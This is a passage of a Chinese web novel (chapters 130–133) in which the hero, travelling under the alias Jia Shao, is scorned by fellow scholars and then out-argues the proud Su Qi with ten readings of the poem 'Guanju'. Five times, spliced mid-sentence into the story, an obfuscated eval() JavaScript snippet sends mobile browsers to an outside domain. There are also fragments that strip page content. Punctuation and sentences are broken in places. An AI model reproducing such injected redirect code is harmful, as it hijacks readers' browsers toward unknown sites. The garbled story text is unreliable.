他还得往前走走出自己的路。争取以后让这天下再不必‘悯农’。 牛车即将抵达鲁山县驿站。 双方就此分开。 崔岘摘下草帽放进牛车里灵活翻身跳下车背对着那对父子摆摆手:“多谢咯记得我说的话打一口深井。” 少年走的很洒脱背影挺拔修长。 老汉的儿子叹了口气:“打口井少说也得半贯钱少年郎不知钱——” 说着他下意识去拿崔岘放在牛车里的草帽却猛然瞪大眼。 草帽里刚好放着半贯钱。 老汉也瞧见了猛然转身想喊住崔岘却早已看不到对方的踪迹。 他的儿子眼圈发红:“爹咱遇上好人了啊!您看咱们虽然日子穷但也有遇见好报的时候是不是?您以后别动不动就说**一了百了给我省口粮这种话了。” “儿子听着难受。” 老汉颤声点头:“哎不说了咱回去打口井。” 艰难困苦的日子太窒息有时候总觉得过不下去了。 于是一点温暖善意就成了日子里的甜。 另一边。 崔岘背着行囊来到了鲁山县驿站。 他穿着儒衫,模样气度不凡,一看便是读过书的。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088420|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>驿馆里走出一位驿卒,试探性问道:“敢问,可是要去参加洛阳赏花文会的先生?” 崔岘点头笑道:“对的。” 驿卒态度客气很多:“昨日从嵩县方向传来消息,有一队同样要参加文会的读书人,今日会路过鲁山。也是赶巧了,您稍微等一等,刚好能跟他们一起。” 看来,洛阳这次赏花文会,阵仗很大嘛。 竟提前在鲁山、嵩县都安排好了接待者。 崔岘在驿馆坐下歇脚。 约莫等了小半日,官道远方传来马蹄声响。 而后。 便见两匹骏马,拉着一辆奢华的马车,带领着十几辆相对普通些的马车,浩浩荡荡赶来。 除了马车,这些人还有骑马的仆从跟随,显然来头不小。 驿卒们吓了一跳,赶紧前去接待。 但为首那辆马车并未停顿,直接越过驿站,朝前方行驶而去。 倒是后面有两辆马车停了下来,车里一群读书人向外张望,显然是在瞧穿儒衫的崔岘。 片刻后。 一位穿藏青色儒衫、约莫在十七八岁的少年走下马车,看着崔岘试探性道:“可是信阳府罗山县贾邵?” 崔岘站起身来:“正是在下。” 那藏青色儒衫少年点点头,一副‘你小子占了大便宜’的表情:“本该来接你一起走的那拨人,临时改道去了叶县。所以你今日跟我们走吧,对了,请柬可带了?” 崔岘便把请柬递过去。 藏青色儒衫少年仔细检查一番,又把请柬还回来,想了想还是说道:“纵然你有请柬,但你知道方才打头那辆马车里,坐着的是谁吗?是苏师兄!” “苏师兄虽说傲气,但对我等学子,向来不吝惜指教。我们一路走来,经常互相辩经、讨教学问。” “你学问如何?莫要嫌我说话直,但这种场合,若你学问跟不上,露了怯,难免会落面子。” 啊这。 崔岘闻言迟疑道:“在下的学问……还行吧?” 还行吧,是怎么个‘行’啊。 藏青色儒衫少年并不满意这个回答,说道:“那这样,我来考考你。” ? 130、菜,就多练 怎地刚碰面,就要考教人学问啊? 听到这话,崔岘心生嘀咕。 但那位藏青色儒衫少年说完后,也不等崔岘回应。 直接问道:“你听好了,我的问题是:《武王缵太王、王季、文王之绪》这篇文章中的第八股,都用了哪些典故?” “你来随机挑选一个典故,以经解经,以史证经。” 对方的问题一出,便让崔岘愣住了。 啊? 但凡今日对方换个别的问题,崔岘都不至于这个反应,说不定顺嘴就答了。 可现在这个情况,实在是让人有点绷不住啊。 而崔岘的愣神,让藏青色儒衫少年神情不虞:“你该不至于连这篇号称‘始基之作’的八股名篇都没读过吧?” 那倒是不至于。 崔岘赶忙道:“读过的。” 既然读过这篇八股神作,不赶紧回答问题,还露出一副迟疑、怔愣的表情。 什么意思,不言而喻。 显然,这个叫做‘贾邵’的人,是崔岘的‘黑粉’! 藏青色儒衫少年脸色当即难堪起来,说话再不似方才那般客气,训斥道:“你我都是读书人,既然读过这篇始基之作,便理应知道,它在八股文界的地位!” “我知道你怎么想的,崔师兄五年未曾露面,一些盲目庸才便妄口巴舌,嘲笑他江郎才尽。” “但能作出《武王缵太王、王季、文王之绪》这等绝世文章之人,又怎么可能如外界传言那般,大未必佳?” “想来,你也是觉得崔师兄文通残锦、才尽词穷!所以听到我让你分析他的锦绣文章,便露出这副表情。” “当真是坐井观天,志大才疏!” “连苏师兄那等孤傲的才子,都视崔师兄为同等级的对手!纵观大梁年轻一辈,能被我等公认称一句师兄的天才,能有几个?” “我不管你先前在哪里,听人妄议过崔师兄。从今以后,摆正你的心态,对天才抱有敬畏心,知道了吗?” 他滔滔不绝,训斥了一大堆,看起来很生气的样子。 崔岘:“……” 坦白说,自从出名以后,崔岘已经很久没被人这样指着鼻子教训了。 但莫名有点爽是怎 么回事儿? 这么会说那就多说点啊兄弟! 见崔岘始终不说话藏青色儒衫少年更生气了:“我说的话你可有听进去?” 崔岘觑了一眼对方的脸色宽慰道:“这位兄台你莫生气我没有看不起那崔岘的意思。” 藏青色儒衫少年怒道:“叫崔师兄!” 好吧好吧都依你。 崔岘立马改口:“我没有看不起崔师兄的意思。” 此刻前·大梁第一神童被训斥的宛如一个局促的新兵蛋子。 藏青色儒衫少年脸色这才好了些。 但经历这么一遭他已经没有心情考教这贾邵的学问语气生硬道:“随我上马车吧你且记住此次同行的读书人都胸有沟壑性情高洁。” “且其中有很大一部分人都是崔师兄的拥趸。包括苏师兄都很是欣赏崔师兄。所以莫要在众人面前表露出对崔师兄的任何不屑姿态。” “今日也就是你遇见了我若是遇见脾气不好的直接不让你上马车了!” “还有 崔岘闻言拱了拱手:“张兄。” 张廷豫点了点头:“随我上马车吧。” 崔岘便背起行囊跟着张廷豫一起上了马车。 马车里坐着五个年轻的读书人。 再加上崔岘、张廷豫一共七个人说实话是有些挤的。 但挤的是别人。 因为崔岘一上车这些人鼻孔里便发出‘哼’声纷纷坐到另一侧去。 一副不想跟崔岘沾边的不屑表情。 显然方才他们在马车里已经听到了张廷豫、崔岘的对话内容。 一个敢对崔师兄表示不屑的庸才不值得大家深交! 崔岘看着他们这副模样无语凝噎。 我因为‘鄙视’我自己所以被孤立了。 多荒谬啊! 但说实话崔岘心里还是有些开心的。 五年未露面外面也不全然都是他的‘小黑粉’‘粉丝’也不少嘛。 只是众人对他抱有敌意没人愿意跟他攀谈。 以至于崔岘稀里糊涂只知道这群人肯定是要去参加 洛阳赏花文会的。 但他们从哪里来都是什么身份一概不知。 包括张廷豫口中那位队伍前方最豪华马车里、厉害的‘苏师兄’究竟是谁也暂不清楚。 崔岘没敢问。 害怕再担上一个‘不敬崔师兄就算了连苏师兄也不敬’的帽子。 罢了跟着走吧反正能到洛阳就行。 十几辆马车在官道上前行。 晚上戌时天色完全黑下来的时候他们抵达了宝丰县驿站准备休息一晚。 而在宝丰县驿站 看来为了接这些读书人车队特地绕路了。 马车刚一停下。 外面便有读书人兴奋道:“大家赶紧去驿站稍作休整一盏茶功夫后苏师兄要在驿站院子里开篝火文会同大家一起辩经。还是和昨日一样辩《毛诗序》。” 十几辆马车里当即响起各种振奋欢呼。 崔岘若有所思看来这位‘苏师兄’才名不小。 此人这个时候来参加洛阳赏花文会是只为了参加文会。还是说背地里早有去开封辩经的打算呢? 马车里。 听到这话的张廷豫反应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088421|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过来看向崔岘:“先前忘记了正事我现在考教你一个问题你答上来便跟着去参加篝火文会。若是答不上来便回驿馆休息吧。” “并非我针对你而是所有加入队伍的读书人都要被考教一番。因为苏师兄脾气不好你答得太差劲他会骂人的。” 崔岘点点头:“你问。” 张廷豫看向崔岘道:“关关雎鸠不过男女情诗何德冠居群经?” 马车里其余人也都看向崔岘。 这大概意思是问:为何《诗经》中''关雎''篇讲的是男女小情小爱却能列三百篇之首呢? 这五年磨砺通读万卷书崔岘积累学识。 就这个问题他能给出十几种不同的答案。 但外面既然有人特地提了今日依旧辩《毛诗论》。 因此崔岘略作思索给出个最不会出错的标准答案:“《毛诗序》明言:《关雎》者后妃之德也。” “《礼记·昏 义》曰:天子理阳道,后治阴德。雎鸠雌雄有别,正喻后妃不妒之德。” “《尚书·尧典》曰:克明俊德,以亲九族。” “观‘琴瑟友之’、‘钟鼓乐之’,乃后妃以礼乐教化宫闱之实,故《关雎》冠《诗》三百之首。” 这意思便是说:《毛诗序》明确表示,《关雎》这首诗,是赞颂后妃的美德。 天子统御阳刚之道,皇后统御阴柔之德。《关雎》之中有雌雄,是比喻周文王后妃太姒不存妒忌之心,广选贤淑女子辅佐君主。 通过《尚书·尧典》可以佐证,这是后妃通过礼乐教化,在整肃宫廷秩序。 所以看似小情小爱的《关雎》,可以位列三百篇之首。 说实话,这个回答很标准。 以经解经,除非把《毛诗序》推翻,否则挑不出毛病。 但崔岘只是简单回答一个问题而已,没必要掀桌子。 然而,张廷豫等马车里的人,看着崔岘,眼神中带着同情。 一个读书人没忍住,耻笑道:“这个问题,是昨日苏师兄考教我们的。昨日有个人,给出的答案跟你差不多,结果被苏师兄当众骂了个狗血喷头!” “我当你真有几把刷子呢,还敢大言不惭看不上崔师兄。” “算了,这文会你还是别参加了,回房温书学习吧,免得被骂。最好是多背诵几遍《武王缵太王、王季、文王之绪》这篇文章。” “苏师兄说了,这个问题的答案,其实就藏崔师兄的这篇八股文里。” “想不到吧,你看不起的崔师兄,反而给你上了一课。” 这话简单翻译一下就是: 就你这样的,有什么资格看不上天才崔岘?菜,就多练。 崔岘:? ? 131、除了崔岘,其余人都是垃圾! 崔岘就这样被嫌弃赶去驿站卧房,失去了参加篝火文会的资格。 他坐在床榻上,脑瓜子嗡嗡的。 不是,这合理吗? 唯一的好消息是,这间卧房,他不用付钱。 那位苏师兄全包了。 不仅崔岘不用付钱,整个车队所有人,从房费,到吃食,都由苏师兄一人承担。 难怪,张廷豫嘴上说苏师兄‘孤傲’、‘脾气不好会骂人’,却依旧对此人十分恭敬。 原来人家走的是‘凭亿近人’的路线。 太社会了! 但就算你有钱,也不能为所欲为啊! 崔岘敢肯定,自己方才那个回答,绝对挑不出任何毛病。 除非把《毛诗序》给推翻……等等? 先前在马车里,那个读书人是这样说的:“苏师兄说,答案就藏在《武王缵太王、王季、文王之绪》这篇文章里。 这肯定是不对的。 因为‘关雎’这个问题,可以有十几种答案。 有如此多读书人追随,这位苏师兄肯定不会是个‘水货’,大概率有实力,有声望。 那是怎么一回事呢? 崔岘忽然又想到了,自己之所以引用《毛诗序》来回答这个问题,是因为马车外面,当时有人说了一句: 今晚依旧辩《毛诗序》。 那有没有一种可能,这位苏师兄,其实是对《毛诗序》产生了质疑? 如果是,想来此人,绝对很有实力。 正当崔岘思索的时候。 卧房外面,传来读书人们钦佩、赞美的话语。 “苏师兄,在下仰慕您已久。如今瞧见您的真容,当真让在下惊艳不已。 “苏师兄的文才,在大梁年轻一辈中,当属第一! “皓月光华,无人敢与您争锋。 “苏师兄,您就是当世第一才子,文曲星下凡啊! “本次洛阳赏花文会,苏师兄您肯定能拔得头筹! 听到这些恭维的话,崔岘汗颜。 但也难免对这位‘苏师兄’产生了好奇。 他住的卧房在二楼,悄悄将窗户推开一个小缝隙,便看到了楼下的热 闹场景。 院子里点燃起篝火。 几十位年轻的读书人围着篝火盘膝而坐。 夜色迷离。 火焰随风忽明忽灭照映的一帮年轻学子们脸色泛红。 而被众星捧月的‘苏师兄’背对着崔岘看不清模样。 这时候。 苏师兄若有所感突然回头露出一张桀骜不驯的脸看向崔岘所在的房间:“那人是谁为何待在卧房里没下来?” 他自然是没瞧见崔岘。 但整个驿馆都被苏师兄包下供读书人们居住。 此刻别人都在院子里唯有崔岘卧房里的灯还在亮着。 听到苏公子这话。 张廷豫赶忙说道:“苏师兄这是今日在鲁山驿站接上的信阳府罗山县贾邵。此人学问不算精通我等商议过后便让他回房休息了。” 另一位斥责过崔岘的读书人也附和道:“是极是极此人回答了‘关雎’的问题和昨日……李兄回答的差不多。” 听到这话众人哄笑。 那位被称作‘李兄’的学子更是羞愧涨红了脸。 但苏师兄却并未笑而是挑眉嗤笑道:“差不多?辩经一事 “你书都读狗身上了?竟说出这般没脑子的话。那贾邵怎么回答的跟我复述一遍。” 院子里陡然陷入沉默所有人脸上都带着不安。 在马车里斥责过崔岘的那位读书人勉强挤出个笑脸把崔岘的回答一一复述。 而后小心翼翼道:“苏师兄您来评评理贾邵这个回答是不是和昨日李兄的回答差不多意思?” 众人都看向苏公子。 他们也觉得意思差不多。 然而苏公子听完后眼睛猛然亮起来赞叹道:“妙哉妙哉!这贾邵勉强有些小才!他这个答案不错。” “看来你书果然读狗身上了竟然把鲜花和狗粪称作差不多。” “明日的文会你不必参加了。” 此话一出全场寂静。 所有人脸上都带着震惊、呆滞。 天呐! 一路走 来这么久,这是他们头一次,听到苏师兄夸人! 这位浑身连头发丝都带着才情,不把天下任何人——除了崔岘,看在眼里的苏师兄,竟然说一个人‘勉强有些小才’? 那位斥责过贾邵的读书人傻了。 张廷豫也傻了。 包括在场所有读书人,都满脸震撼。 要知道,苏师兄可是名满天下的大才子, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088422|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身上还背负着举人功名呢! 可贾邵是谁? 完全没听过啊! 而且……昨日李兄的回答,和贾邵的,确实差不多。 怎么评价一个天,一个地? 见没人说话。 苏师兄不屑道:“我知道你们在想什么。这两个回答看似一样,但不同的是,姓李的回答问题,引用的是《礼记·乐记》:礼乐刑政,其极一也。” “而那贾邵,引用的却是《礼记·昏义》:天子理阳道,后治阴德。” “《乐记》原**调:乐由中出,礼自外作,与《关雎》发乎情,止乎礼完全相悖。纯属断章取义,脱离‘情礼’关系谈礼乐,偏离诗教本义。” “简单来说就是,答得犹如一坨狗屎。” “贾邵回答的不错,却被你们给嘲笑一番。说实话,要我是贾邵,我非得把你们骂到狗血淋头。” 苏师兄虽说为人猖狂,但才情无双。 三两句话,便把个中差别讲的十分透彻。 众人顿时茅塞顿开。 而张廷豫回想起自己先前训斥贾邵的场景,脸色瞬间涨的通红,羞愧又尴尬。 所以,他对着一个比自己厉害很多的人,说了‘我来考考你’。 结果人家回答了,他还没听懂? 那一刻,张廷豫想死的心都有了。 而在场其余读书人,则是齐刷刷看向二楼亮着灯的房间,神情好奇又敬佩。 今日篝火文会,一个叫做贾邵的神秘人,成为了绝对的主角。 所有人都记住了这个名字! 那位斥责过贾邵的读书人脸色都白了,不安羞愧道:“苏师兄,要我把贾邵兄请下来吗?” 苏师兄闻言露出一副‘你是**吗’的表情,平等的攻击在场每一个人:“开什么玩笑,我办的文会,还要特地去请人?” “除了崔岘,这天下不配有人让我去请。” “包括这个贾邵,懂?” “我的意思是说,在我眼里,除了崔岘,其余人都是垃圾。” 在场的垃圾们:“……” 不敢吭声。 驿站二楼,卧房里。 听到这话的崔岘:“……” 不是,哥们儿,我认识你吗,你这样给我拉仇恨? 搞我,是吧? ? 132、一个问题的十种破法 因为苏师兄开启‘地图炮’模式平等攻击了除崔岘外的所有人。 是以今日这场本该辩《毛诗序》的篝火文会潦草结束。 但原本名不见经传的贾邵就此一跃成为风云人物! 连大梁最孤傲张扬的才子苏师兄都破天荒夸他一句‘有些小才’。 此人绝对有点东西啊! 当晚。 很多年轻的读书人凑在一起互相打探这个‘贾邵’的消息。 却一无所获。 但这并不妨碍大家想结交此人! 其中两间卧房里。 张廷豫和那位曾训斥过贾邵的读书人半夜躺在床上辗转反侧羞愧到无法入眠。 真该死! 我真该死啊! 自己学业不精还敢训斥人家贾邵。 道歉必须要给贾邵道歉。 否则以后每次想到这事儿怕是都要睡不好了! 次日。 崔岘刚打开卧房便见张廷豫二人顶着黑眼圈在门外巴巴等候着。 他吓了一跳。 张廷豫二人赶忙羞愧鞠躬赔罪:“贾邵兄我等昨日有眼不识真才子实在惭愧。还望兄台大人有大量莫要跟我等计较。” 崔岘这才明白他们的来意摆摆手:“无碍。” 贾邵兄实乃真君子啊! 这都可以不计较。 张廷豫肃然起敬再次道歉。 而后没忍住又说道:“虽然贾邵兄你有真才学识但也不要再对崔岘师兄表露出轻视。” “崔师兄不仅是我等年轻读书人的楷模也是苏师兄欣赏的绝世天才。若要让苏师兄知道了 “嗯……苏师兄此人学识有多广涵养就有多差。” 最后一句张廷豫是用牙缝小声挤出来的。 崔岘:“……” 确实昨晚他已经见识到了。 这个姓苏的是一位‘**才子’。 驿馆准备了很丰盛的早食。 应该是苏师兄给的实在太多了。 因此不仅早食丰盛全体驿馆人员都 出来热情招待这群读书人。 跟着张廷豫一起,去驿站正堂用早食的崔岘,当即吸引了无数人惊艳的目光。 身材笔挺,面容俊朗,周身气度不凡。 好一个风度翩翩的标致少年郎啊! 古代比现代更加‘外貌协会’,尤其是在读书人群体当中。因为长得好,官运就会更好。 若是长相够权威,且年少的话,甚至殿试可以破格被点做‘探花郎’。 显然,崔岘从身高到长相到年纪,都属于教科书级别的权威。 正当读书人们,想来趁机结交一下贾邵的时候。 苏师兄来了。 于是。 众人忽略掉贾邵,齐刷刷众星捧月般围着苏师兄,各种赞美词汇不要钱般砸出来。 苏师兄被‘舔’的相当舒适。 他在人群中央,随意抬头,瞧见了崔岘。神情明显怔愣片刻,而后主动朝着崔岘走来,挑眉问道:“你便是贾邵? 崔岘对此人并不感冒,但毕竟**嘴短,他礼貌一拱手,下意识道:“正是在下,敢问苏师兄名讳? 此言一出,满堂俱静。 所有人都震撼的看向崔岘,露出‘你完了’的同情表情。 这个贾邵,竟然连苏师兄都不认识! 而且还当着苏师兄本人的面,在众目睽睽之下说了出来! 这是真不知道? 还是故意挑衅? 不管是哪种,都足以让苏师兄生气骂人了! 但天可怜见,崔岘真的是礼貌发问的。 张廷豫脸色都白了,哆嗦着准备上前替贾邵求情。 但,迟了! 苏师兄脸色瞬间很是难堪,冷冷看向贾邵:“你莫不是以为,我昨夜随口夸了你一句,你便能蹬鼻子上脸? “你穿着儒衫,却连我的大名都没听过?可笑!狂妄!无知! “就算是崔岘来了,也不敢说这样的话! 崔岘:“…… 哥们,你脑袋好像有点问题啊。 但崔岘又不是泥捏的,三番五次被此人强行拉仇恨,也有些恼了。 因此。 在众人震撼呆滞的注视 下,便见那贾邵看向苏师兄,冷冷道:“我确实没听过你的名字,想来崔岘也是。” “昨日在鲁山驿站上车,我听人说,你自称‘关雎’那道问题的答案,出自崔岘的《武王缵太王、王季、文王之绪》,实在可笑!” 嘶。 四周围一片倒抽冷气的声音。 本来还打算替贾邵求情的张廷豫,哆嗦站在原地,不敢再上前一步。 疯了,真的疯了! 苏师兄确实狂妄又嘴毒,但为何无人敢忤逆他? 盖因他确实有真才实学 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088423|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啊! 果然,听到贾邵的话,苏师兄一扬眉,嗤笑道:“《毛诗序》有言:《关雎》为后妃之德也,风之始也,所以风天下而正夫妇也。” “以雎鸠喻夫妇有别,《礼记·昏义》曰:后治阴德。” “再引《尚书·尧典》亲九族,证王化之基。” “我说此问题,可以用崔岘的《武王缵太王、王季、文王之绪》来解答,可有错?” “而我这答案,难道不比你先前单单引用《礼记·昏义》来的更妙?” “你若不服,大可以再给出更妙的回答。” 听闻苏师兄这番解答,在场众人茅塞顿开! 这是在用崔岘那篇八股文中的‘王化之基’,引夫妇伦理喻君臣纲常,用雎鸠意象,来论证《关雎》并非只是情诗啊! 然而,当其余人都露出一副‘学到了’的敬佩表情的时候。 唯有崔岘看向苏师兄,从容道:“你也就欺负在场其余人学识不如你,再加上对崔岘过度欣赏推崇,所以信口雌黄罢了。” “关雎一题,何来固定标准答案?” 在场读书人:? 唯有那位苏师兄,听到这话,脸色一僵。 迎着众人的目光,贾邵继续道:“关于关雎这个问题,从来就没有更妙的答案,就看你如何作出解读。” “但既然你要更妙的答案,可以,我满足你。” “我给你十个回答,够吗?” 哗! 听到这话,众人眼珠子都快要瞪出来了。 崔岘说完,并不停顿,看向苏师兄道:“答案一:心性论。” “雎鸠之关关,即《中庸》鸢飞戾天,鱼跃**之蓬勃生机。” “辗转反侧,乃《孟子》求其放心之言。圣人不直言天道,而托于夫妇之常,正合《易》近取诸身,远取诸物之旨。” “此答案,你可有异议?” 众人纷纷看向苏师兄。 迎着无数道目光,苏师兄脸色变换许久,最后不得不说道:“没有异议。” 整个驿站陷入死一般的寂静。 包括张廷豫在内,所有人都呆滞震惊的看向贾邵,震撼无言。 那可是名满天下的苏师兄啊! 竟然被一个名不见经传的贾邵,给问住了! 不管今日这场辩论如何收尾。 贾邵,都会名动四方了! ? 133、赌约 崔岘并未停歇。 在无数人震撼的注视下,他继续道:“答案二:比德论。” “夫子曰:知者乐水,仁者乐山。” “雎鸠栖河洲,择净地而居,喻君子择善固执。《礼记》云:君子于玉比德焉。” “雎鸠鸣声清正,正如玉振金声,故《关雎》非言男女,实彰君子慎独之德。” “《周易·系辞》曰:观鸟兽之文与地之宜,此之谓也。” “此答案,你可有异议?” 正所谓:大道三千。 五年学习,广读藏书。 沉淀许久的崔岘,相比于先前,对圣贤书,有了举重若轻般的感悟。 不管任何问题,他都能从不同角度,给出不同的解答! 而听闻崔岘这番解读,驿站里的读书人,脸上或振奋、或激动,或惊艳,或恍然大悟。 原来,关雎这道题,还可以喻君子慎独? 太震撼了! 太精彩了! 更让在场无数人怔怔失声的是。 名震天下,才情无双、恃才傲物的张狂苏师兄,面对贾邵的质问,脸色一片青红交加。 显然,他很愤怒。 但可惜,他一怒之下只是……额,怒了一下。 最后在无数倒抽冷气声中,苏师兄咬牙切齿道:“没有异议。” 哗! 贾邵接连两个答案,都让苏师兄哑口无言。 全场静默无声,唯有震撼! 崔岘哂笑一声,继续道:“答案三:阴阳论。” “《周易·咸卦》篇曰:天地感而万物化生。” “雎鸠雌雄和鸣,正合阴阳交感之理。《礼记·乐记》云:乐者为同,礼者为异。” “《关雎》以琴瑟钟鼓为礼乐,荇菜流采喻阴阳调和。” “《春秋繁露·基义》曰:王道之三纲,可求于天。夫妇之道,即天地之道。故,关雎冠《诗》三百之首。” “此答案,你可有异议?” 驿站里的读书人们,齐齐看向贾邵。 神情瞠目,脸色涨红,完全失去言语。 能回答出一个问题,不难。 难的是—— 同一个问题,从不同的角度,解析出完全相悖,却又合乎情理的回答啊! 加上最开始,贾邵回答的那个答案。 以及如今当场回答的三个答案,一共是四个。 而这四个回答,分别引用了:《毛诗序》、《礼记·昏义》、《尚书·尧典》、《中庸》、《孟子》、《易》、《礼记·聘义》、《周易·系辞》。 这些书,在场读书人肯定都读过,甚至会背诵。 但谁敢说,自己能做到这般举重若轻,信手拈来? 这已经不是简单地经史互参,两相辩证了! 得需要多么恐怖的阅读量,多么恐怖的天资学识,多么恐怖的才情感悟,方能做到这一步啊! 不仅在场的读书人。 连先前狂傲的苏师兄,此刻都眯起眼睛,认真打量贾邵。 此人,是个人物! 但为何此前他却从未听过‘贾邵’的名讳? 就如凭空冒出来一般! 可没听过,不重要。 重要的是,这人确实有才。 因此苏师兄收起脸上的狂妄,干脆利落道:“没有异议。 显然,这位苏师兄,只是平等的看不起每一个废物。 而一旦发现对方并非废物,他自会给予应有的尊重。 接下来。 是一场让张廷豫,和在场无数读书人震撼到头皮发麻,且永生难忘的场面。 那原本名不见经传的贾邵,从容站在原地,整个人神采飞扬,浑身尽是少年郎的肆意洒脱。 贾邵问:“答案四,蒙养论。《学记》云:建国君民,教学为先……你可有异议? 苏师兄:“没有异议。 贾邵问:“答案五,伦理论。《易》曰:有天地然后有万物,有万物然后有男女,有男女然后有夫妇……你可有异议? 苏师兄:“没有异议。 崔邵问:“答案六…… 此后足足半盏茶功夫。 崔岘给出了十个答案,每一个答案,都引经据典,旁征博引。 一开始,张廷豫等年轻的读书人们,还震撼的听着。 可后来,越 听脸色越苍白。 越听神情越惊恐。 不是,这合理吗? 就这一个简单的问题,你硬生生能给出十种截然不同的标准答案! 你把万卷书装脑袋里了? 就算把万卷书装脑袋里,也没你这么恐怖离谱啊! 小小的宝丰县驿站里。 张廷豫和数十位读书人,此后许多年都无法忘记这一幕。 在此之前,他们坚信,勤能补拙。 可今日见山河之隔,荧光对皓月,才知有人生来便站在云端,俯瞰这天下庸才! 用人话来说就是:这把高端局,他们完全参与不进去啊! 崔岘的十个答案回复完了。 除了那位苏师兄,其余全场所有读书人,早已呆滞。 唯有苏师兄那句‘没有异议’不停在正堂里回荡。 而后,更令众人颤栗的一幕来了! 便见那贾邵扬了扬眉,姿态竟比苏师兄更加肆意张扬:“你没有异议?我有。你先前引用崔岘那篇《武王缵太王、王季、文王之绪》的回答,是错的。” “当然,错的并非崔岘,而是你。” “因为你引用了《毛诗序》,而《毛诗序》这本书,错漏百出,满纸荒唐!” 哗! 听闻此话,全场所有人都被震的有些站不稳。 唯有苏师兄眼睛骤然亮起来! 此刻,崔岘敢肯定,这人绝对有大才! 这个苏师兄,恃才傲物,又不知为何,唯独对‘崔岘’格外推崇。 他告知众人,‘关雎’的答案出自崔岘那篇八股文,其实是因为苏师 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088424|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兄本人,喜欢这篇八股文。 而并非是‘关雎’的唯一标准答案在这篇八股文里。 众人学识不足,不敢,也没有能力辩驳。 直到崔岘出现,反驳了苏师兄。 苏师兄自然知道自己在胡扯,他其实就是欺负这群文盲没学识,懒得解释罢了。 可遇到了懂学识的贾邵,顿时就吃了个闷亏。 但并不代表,苏师兄的才识,远远不如崔岘。 恰恰相反,作为一个古代本土人,他对《毛诗序》产生了质疑。 这已足矣说明,此人之恐怖学识才情! **属性是真的。 才子本事也是真的啊! 听完崔岘这话,苏师兄不再重复‘没有异议’,而是当场反驳道:“但你方才数个回答,都引用了《毛诗序》,为何独独说我错了?” 崔岘道:“因为是我先指出《毛诗序》有错的。” 在南阳跟着老师辩经五年,崔岘有着丰富的‘实战’经验。 苏师兄:? 你没事吧? 苏师兄显然未曾料到,会听到这这样一个离谱的回答,愣住了。 可一时间又找不出理由反驳。 随后,他索性开始故意唱反调:“我觉得《毛诗序》没有问题。” 崔岘笑道:“那就辩一场。” 苏师兄嗤笑道:“我苏祈,从不和人辩不明不白的经。” 这话就很有意思。 看似重点在后一句,其实在前一句。 他在主动自报家门,本质上,他承认了贾邵的实力。 甚至说完自己的名字后,苏祈还期待的看向贾邵。 他不信,贾邵真的没听过自己的名字。 但,苏祈失望了。 贾邵脸上毫无波动,甚至对‘苏祈’二字没有任何反应:“那就加赌注。自宝丰县驿站,到洛阳文会这一路,你我开始辩经。” “我提出质疑,你来反驳。” “你我各自乘坐的马车,同时前行。我提出质疑后,先走五里地。你合理反驳后,再超过我五里地。” “终点是洛阳赏花文会。” “先到者为胜。” “输家要在文会上,承认自己不如赢家。” “比如,你输了,你便要在文会上当着所有人的面,大声道:贾邵,算你厉害!” 哗! 听闻这个赌注,全场震撼哗然。 那可是苏祈啊! 恃才傲物,狂妄嚣张的苏祈! 若是他当众在洛阳文会上,喊出‘贾邵,算你厉害’。 想来整个大梁文坛都得颤上三分! 而贾邵,绝对要一战成名,传遍天下! 